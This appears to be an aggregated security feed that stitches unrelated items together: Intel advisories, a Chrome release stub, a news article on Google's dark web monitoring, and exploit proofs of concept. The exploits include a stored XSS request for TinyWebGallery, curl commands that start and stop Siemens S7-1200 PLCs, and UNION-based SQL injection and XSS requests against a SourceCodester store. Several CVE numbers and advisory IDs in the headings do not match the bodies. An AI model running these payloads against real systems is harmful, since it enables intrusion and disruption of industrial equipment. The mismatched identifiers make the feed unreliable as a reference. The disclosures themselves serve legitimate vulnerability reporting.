TinyWebGallery version 2.5 suffers from a persistent cross site scripting vulnerability.

    #Exploit Title: TinyWebGallery v2.5 - Stored Cross-Site Scripting (XSS)#Application: TinyWebGallery#Version: v2.5#Bugs:  Stored Xss#Technology: PHP#Vendor URL: http://www.tinywebgallery.com/#Software Link: https://www.tinywebgallery.com/download.php?tinywebgallery=latest#Date of found: 07-05-2023#Author: Mirabbas Ağalarov#Tested on: Linux 2. Technical Details & POC========================================steps: 1. Login to account2. Go to http://localhost/twg25/index.php?twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg3. Edit 4. Set folder name section as  <script>alert(4)</script>Request :POST /twg25/i_frames/i_titel.php HTTP/1.1Host: localhostContent-Length: 264Cache-Control: max-age=0sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: http://localhost/twg25/i_frames/i_titel.php?twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpgAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=qc7mfbthpf7tnf32a34p8l766kConnection: closetwg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg&twg_foffset=&twg_submit=true&twg_titel_page2=true&twg_foldername_mod=1&twg_foldername=%26lt%3Bscript%26gt%3Balert%284%29%26lt%3B%2Fscript%26gt%3B&twg_folderdesc_mod=1&twg_folderdesc=aaaaaaaaaaaaaaaaa&twg_submit=Save5. Go to http://localhost/twg25/index.php

TinyWebGallery 2.5 Cross Site Scripting

Siemens SIMATIC S7-1200 CPU start/stop command cross site request forgery exploit. This older issue elaborates on t4rkd3vilz's CVE-2015-5698 by issuing a POST command to a specified web server path.

    # Exploit Title: Siemens SIMATIC S7-1200 CPU Start/Stop Command- Cross-Site Request Forgery# Google Dork: inurl:/Portal/Portal.mwsl# Date: 2022-03-24# Exploit Author: RoseSecurity# Vendor Homepage: https://www.siemens.com/global/en.html# Version: SIMATIC S7-1200 CPU family: All versions prior to V4.1.3# Tested on: Kali Linux# CVE: CVE-2015-5698# IP == PLC IP address# Start Commandcurl -i -s -k -X $'POST' \ -H $'Host: <IP>' -H $'Content-Length: 19' -H $'Cache-Control:max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://<IP>' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0. (Windows NT 10.0; Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H $'Accept: text/html, application /xhmtl+xml, application/xml; q=0.9,image/avif, image/webp, image/apng,*/ - *; q=0.8, application/signed-exchange; v=b3; q=0.9' -H $'Referer: http://<IP>/Portal/Portal.mwsl?PriNav=Start' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US, en; q=0.9' -H $'Connection: close' \ -b $'siemens_automation_no_intro=TRUE' \ --data-binary $'Run=1&PriNav=Start' \ 'http://<IP>/CPUCommands'# Stop Commandcurl -i -s -k -X $'POST' \ -H $'Host: <IP>' -H $'Content-Length: 19' -H $'Cache-Control:max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://<IP>' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0. (Windows NT 10.0; Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H $'Accept: text/html, application /xhmtl+xml, application/xml; q=0.9,image/avif, image/webp, image/apng,*/ - *; q=0.8, application/signed-exchange; v=b3; q=0.9' -H $'Referer: http://<IP>/Portal/Portal.mwsl?PriNav=Start' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US, en; q=0.9' -H $'Connection: close' \ -b $'siemens_automation_no_intro=TRUE' \ --data-binary $'Run=1&PriNav=Stop' \ 'http://<IP>/CPUCommands'

Siemens SIMATIC S7-1200 Cross Site Request Forgery

Use after free in ChromeOS Camera in Google Chrome on ChromeOS prior to 113.0.5672.114 allowed a remote attacker who convinced a user to engage in specific UI interaction to potentially exploit heap corruption via UI interaction. (Chromium security severity: High)

**Chrome Releases**

Release updates from the Chrome team

CVE-2023-2458: Stable Channel Update for ChromeOS / ChromeOS Flex

Improper access control in the Intel(R) Server Board S2600WTT belonging to the Intel(R) Server Board S2600WT Family with the BIOS version 0016 may allow a privileged user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**SmmRuntime Escalation of Privilege**

Intel ID: 

INTEL-SA-00056

Product family: 

Intel® Server Board S1200/1400/1600/2400/2600/4600 series

Impact of vulnerability: 

Elevation of Privilege

Severity rating: 

Important

Original release: 

Aug 08, 2016

Last revised: 

Sep 30, 2016

**Summary:** 

Intel is releasing mitigations for a privilege escalation issue. This issue affects the UEFI BIOS of select Intel Products. The issue identified is a method that enables malicious code to gain access to System Management Mode (SMM).

**Description:** 

A malicious attacker with local administrative access can leverage the vulnerable function to gain access to System Management Mode (SMM) and take full control of the platform. Intel products that are listed below should apply the update.

Other vendors’ products which use the common BIOS function SmmRuntime may be impacted.  To find out whether a product you have may be vulnerable to this issue, please contact your system supplier.

  
The table below provides the list of Intel products impacted by the issue as well as the versions and the locations of the BIOS that contains the fix. If the customer system has BIOS version lower than one listed in the table customer is recommended to upgrade the BIOS to the version listed below, or later.

How to identify Intel® Server Boards model and BIOS version?

To identify the server board model and the BIOS version customer can use one of the methods below.

1.  For server systems running Microsoft Windows\* operating systems, download and run the Intel® System Support Utility and view

Detailed View – Computer – BIOS Version/Date

Detailed View – Computer – System Model

The utility will generate an output file with computer system information. The BIOS version and the board model should look like this:

BIOS Version/Date            Intel Corporation SE5C610.86B.01.01.0008.021120151325 , 02/11/2015 12:00 AM

System Model                    S2600WT2      

   2.  For server systems running Linux operating system customers should execute the commands below to obtain the BIOS version and the Board model respectively:

dmidecode -t 0 | grep Version | awk -F : '{ print $2 }' | sed s/\\ //g

dmidecode -t 2 | grep Product | awk -F : '{ print $2 }' | sed s/\\ //g

The first command will return the line of text similar to this:

SE5C610.86B.01.01.0016.033120161139

The second command will return the line of text similar to this:

S2600WTT

In this example the commands were executed on the Intel® Server Board S2600WTT belonging to the Intel® Server Board S2600WT Family with the BIOS version 0016.

Product Name

Recommended BIOS version (or later)

Intel® Server Board S1200RP Family

0006

Intel® Server Board S1400FP Family

0005

Intel® Server Board S1400SP Family

0005

Intel® Server Board S1600JP Family

0005

Intel® Server Board S2400BB Family

0005

Intel® Server Board S2400EP Family

0005

Intel® Server Board S2400SC Family

0005

Intel® Server Board S2600CO Family

0005

Intel® Server Board S2600CP Family

0005

Intel® Server Board S2600GL Family

Intel® Server Board S2600GZ Family

0005

Intel® Server Board S2600IP Family

0005

Intel® Workstation Board W2600CR Family

0005

Intel® Server Board S2600JF Family

0005

Intel® Server Board S2600WP Family

0005

Intel® Server Board S4600LH Family

Intel® Server Board S4600LT Family

0005

Intel® Server Board S2600CW Family

0018

Intel® Server Board S2600KP Family

0018

Intel® Server Board S2600TP Family

0018

Intel® Server Board S2600WT Family

0018

Intel® Server Board S1200BT

0044

**Recommendations:** 

Intel highly recommends applying the mitigations. For Intel branded products where a mitigation is still pending, we recommend following good security practices including running with least privilege and keeping security software and operating systems up to date.

**Acknowledgements:** 

N/A

Revision

Date

Description

1.1

16-August-2016

Removed Intel® Compute Module MFS2600KI due to EOL

1.2

23-August-2016

Removed EOLd boards and updated availability date

1.3

29-September-2016

Updated remaining boards with BIOS download URL

1.4

30-September-2016

Corrected Version Numbers

1.5

04-September-2018

Added S1200BT Family mitigations

1.6

09-May-2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-30768: INTEL-SA-00056

Heap-based overflow in Intel(R) SoC Watch based software before version 2021.1 may allow a privileged user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® SoC Watch 2021 Advisory**

**Summary: **

A potential security vulnerability in the Intel® SoC Watch driver may allow escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2023-30763

Description: Heap-based overflow in Intel(R) SoC Watch based software before version 2021.1 may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.2 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H

**Affected Products:**

Intel® Battery Life Diagnostic Tool before version 1.2.

Intel® oneAPI Base Toolkit before version 2021.4.0.

**Recommendations:**

Intel recommends updating Intel® Battery Life Diagnostic Tool to version 1.2 or later.

Updates are available for download at this location:

https://downloadcenter.intel.com/download/29348/Intel-Battery-Life-Diagnostic-Tool

Intel recommends updating Intel® OneAPI Base Toolkit to version 2021.4.0 or later.

Updates are available for download at this location:

https://software.intel.com/content/www/us/en/develop/tools/oneapi/base-toolkit/download.html

**Acknowledgements:**

The following issue was found internally by Intel employees.  Intel would like to thank Anton Rechkov.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

11/09/2021

Initial Release

1.1

05/09/2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-30763: INTEL-SA-00547

Improper access control for Intel(R) oneAPI Toolkits before version 2021.1 Beta 10 may allow an authenticated user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® oneAPI Toolkit Advisory**

**Summary: **

A potential security vulnerability in Intel® oneAPI Toolkits may allow escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2023-29242

Description: Improper access control for Intel(R) oneAPI Toolkits before version 2021.1 Beta 10 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

**Affected Products:**

All Intel® oneAPI Toolkits (Base, HPC, IoT, AI, DLFD, Rendering) before version 2021.1 Beta 10.

**Recommendations:**

Intel recommends updating Intel® oneAPI Toolkits to version 2021.1 Beta 10 or later.

Manual removal of all installed Beta versions prior to version 2021.1 Beta 10 is required, this removal is not done automatically.

Updates are available for download at this location: https://software.intel.com/content/www/us/en/develop/tools/oneapi/all-toolkits.html

**Acknowledgements:**

Intel would like to thank houjingyi for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

11/09/2021

Initial Release

1.1

05/09/2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-29242: INTEL-SA-00551

Uncontrolled search path in the Intel(R) Trace Analyzer and Collector before version 2020 update 3 may allow an authenticated user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® Trace Analyzer and Collector Advisory**

**Summary:**

A potential security vulnerability in the Intel® Trace Analyzer and Collector may allow an escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2023-31197

Description: Uncontrolled search path in the Intel(R) Trace Analyzer and Collector before version 2020 update 3 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

**Affected Products:**

Intel® Trace Analyzer and Collector before version 2020 update 3.

**Recommendation:**

Intel recommends updating the Intel® Trace Analyzer and Collector to version 2020 update 3 or later.

Updates are available for download at this location:

https://software.intel.com/content/www/us/en/develop/tools/oneapi/components/trace-analyzer.html

**Acknowledgements:**

Intel would like to thank Marius Gabriel Mihai for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

**Revision**

**Date**

**Description**

1.0

11/09/2021

Initial Release

2.0

05/09/2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-31197: INTEL-SA-00475

Improper access control in the Intel(R) Solid State Drive Toolbox(TM) before version 3.4.5 may allow a privileged user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® Solid State Drive Toolbox™ Escalation of Privilege Vulnerability**

Intel ID: 

INTEL-SA-00074

Product family: 

Intel® Solid State Drive Toolbox™

Impact of vulnerability: 

Elevation of Privilege

Severity rating: 

Important

Original release: 

May 30, 2017

Last revised: 

May 30, 2017

**Summary:** 

There is an escalation of privilege vulnerability in the Intel® Solid State Drive Toolbox™ versions before 3.4.5 which allow a local administrative attacker to load and execute arbitrary code. 

**Description:** 

There is an escalation of privilege vulnerability in the Intel® Solid State Drive Toolbox™ versions before 3.4.5 which allow a local administrative attacker to load and execute arbitrary code. 

*   ·        CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H (High 7.7)

**Affected products:** 

Intel® Solid State Drive Toolbox™ all versions before 3.4.5

**Recommendations:** 

Intel recommends all users of Affected Products to update to Intel® Solid State Drive Toolbox™ version 3.4.5 and later from https://downloadcenter.intel.com

**Acknowledgements:** 

Intel would like to thank Stefan Kanthak for reporting this issue and working with us on coordinated disclosure.

Revision

Date

Description

1.0

30-May-2017

Initial Release

1.1

09-May-2023

CVE Number Update

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-31199: INTEL-SA-00074

By Deeba Ahmed
Google said that with its dark web monitoring feature, not only will users be able to check their…
This is a post from HackRead.com Read the original post: Google offers Dark Web monitoring for US Gmail users

**Google said that with its dark web monitoring feature, not only will users be able to check their email addresses on the dark web, but they will also receive advice on improving their online security.**

Google has added the dark web report security feature to its security tools. This feature is offered to all Gmail users in the USA, using which they can check if their email address is published on the dark web.

The search engine giant will soon expand this feature to selected foreign markets. Jen Fitzpatrick, Google’s core services SVP, stated that since March 2023, this feature was available only to Google One subscribers in the US, and now its scope is being expanded.

“Previously only available to Google One subscribers in the US, we’re expanding access to our dark web report in the next few weeks, so anyone with a Gmail account in the US will be able to run scans to see if your Gmail address appears on the dark web and receive guidance on what actions to take to protect yourself.”

Image: Google

**How Will it Improve Data Protection?**

As far as the new dark web monitoring feature is concerned, Google has explained that not only will users be able to check their email addresses on the dark web but will also receive advice on improving their online security. Chrome browser already features a built-in password manager, which helps them keep their data protected.

Using this feature, Gmail users can take their data protection a step ahead with guidance from Google, such as enabling 2FA protection to prevent their accounts from hijacking.

Moreover, Google will notify Gmail users whenever they need to check if their email address is part of any data breaches and may end up on the dark web. This data can end up on the dark web through data breaches suffered by platforms or services a user has subscribed for. It is then sold to cybercriminals who use it for conducting identity theft, phishing scams, and banking fraud.

**What Information can be Checked?**

According to Google, the report generated through this feature will inform the user about the presence of their personal data such as their name, email address, physical address, contact information, and Social Security Number.

The user will be promptly notified if the data is found. If you are a Google One subscriber, you can enable this feature after creating a monitoring profile and clicking Setup> Dark Web Report> Start monitoring.

**When was it Announced?**

The new feature was announced at the Google I/O annual developer conference and will be rolled out within a few weeks. At the conference, the company also confirmed introducing many new security features to improve its products and services protections. This includes adding spam protection to Google Drive and allowing users to delete search history in Google Maps.

1.  The 5 Best Cloud Performance Monitoring Tools
2.  Firefox Monitor tool informs users if they’ve been hacked
3.  Google will ‘auto-delete’ your location & web activity data
4.  On Dark Web Facebook ID is worth $5.20 & Gmail ID is $1

Google offers Dark Web monitoring for US Gmail users

A vulnerability was found in SourceCodester Online Computer and Laptop Store 1.0 and classified as critical. This issue affects some unknown processing of the file /classes/Master.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-228803.

**Exploit Title: Online Computer and Laptop Store - Multiple vulnerabilities****Date: 2023-05/11****Exploit Author: xiahao@webray.com.cn****Vendor Homepage: https://www.sourcecodester.com****Software Link: https://www.sourcecodester.com/download-code?nid=16397&title=Online+Computer+and+Laptop+Store+using+PHP+and+MySQL+Source+Code+Free+Download****Version: 1.0****Tested on: macOs 13.3.1 (a) + phpstudy****1.Xss vulnerability in products.php****Sample request POC #1**

    http://10.211.55.3:8001/?p=products&search=%3Cscript%3Ealert(1)%3C/script%3E
    

**Browser Access Results**

**Related Codes /products.php**

    ...
    <div class="<?php echo isset($_GET['c'])? 'col-md-9': 'col-lg-10 offset-md-1' ?>">
                <div class="container-fluid p-0">
                    <?php if(isset($_GET['search'])): ?>
                        <h4 class="text-center py-5"><b>Search Results for '<?php echo $_GET['search'] ?>'</b></h4>
                    <?php endif; ?>
                <div class="row gx-2 gx-lg-2 row-cols-1 row-cols-md-3 row-cols-xl-4">
    ...
    

**2.SQL injection vulnerability in products.php****Sample request POC #2**

    GET /?p=products&c=%27%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x717a626271,0x6b5378665945517142636658635356665470564a4a7475446563554a4e52454a6173464a426f4451,0x717a6b6a71),NULL,NULL,NULL--%20-&s= HTTP/1.1
    Host: 10.211.55.3:8001
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    

**Sqlmap running results**

**Related Codes /products.php**

    <?php 
    $title = "";
    $sub_title = "";
    if(isset($_GET['c']) && isset($_GET['s'])){
        $cat_qry = $conn->query("SELECT * FROM categories where md5(id) = '{$_GET['c']}'");
        if($cat_qry->num_rows > 0){
            $result =$cat_qry->fetch_assoc();
            $title = $result['category'];
            $cat_description = $result['description'];
        }
     $sub_cat_qry = $conn->query("SELECT * FROM sub_categories where md5(id) = '{$_GET['s']}'");
        if($sub_cat_qry->num_rows > 0){
            $result =$sub_cat_qry->fetch_assoc();
            $sub_title = $result['sub_category'];
            $sub_cat_description = $result['description'];
        }
    }
    elseif(isset($_GET['c'])){
        $cat_qry = $conn->query("SELECT * FROM categories where md5(id) = '{$_GET['c']}'");
        if($cat_qry->num_rows > 0){
            $result =$cat_qry->fetch_assoc();
            $title = $result['category'];
            $cat_description = $result['description'];
        }
    }
    elseif(isset($_GET['s'])){
        $sub_cat_qry = $conn->query("SELECT * FROM sub_categories where md5(id) = '{$_GET['s']}'");
        if($sub_cat_qry->num_rows > 0){
            $result =$sub_cat_qry->fetch_assoc();
            $sub_title = $result['sub_category'];
            $sub_cat_description = $result['description'];
        }
    }
    ?>
    

**3.SQL injection vulnerability in view\_product.php****Sample request POC #3**

    GET /?p=view_product&id=' UNION ALL SELECT 49,49,49,49,49,49,49,49,CONCAT(0x7162627a71,0x4b7a41414f754952634f73526d53446571737665437179644c4f5253534255656463747063445a59,0x7176786b71)-- - HTTP/1.1
    Host: 10.211.55.3:8001
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
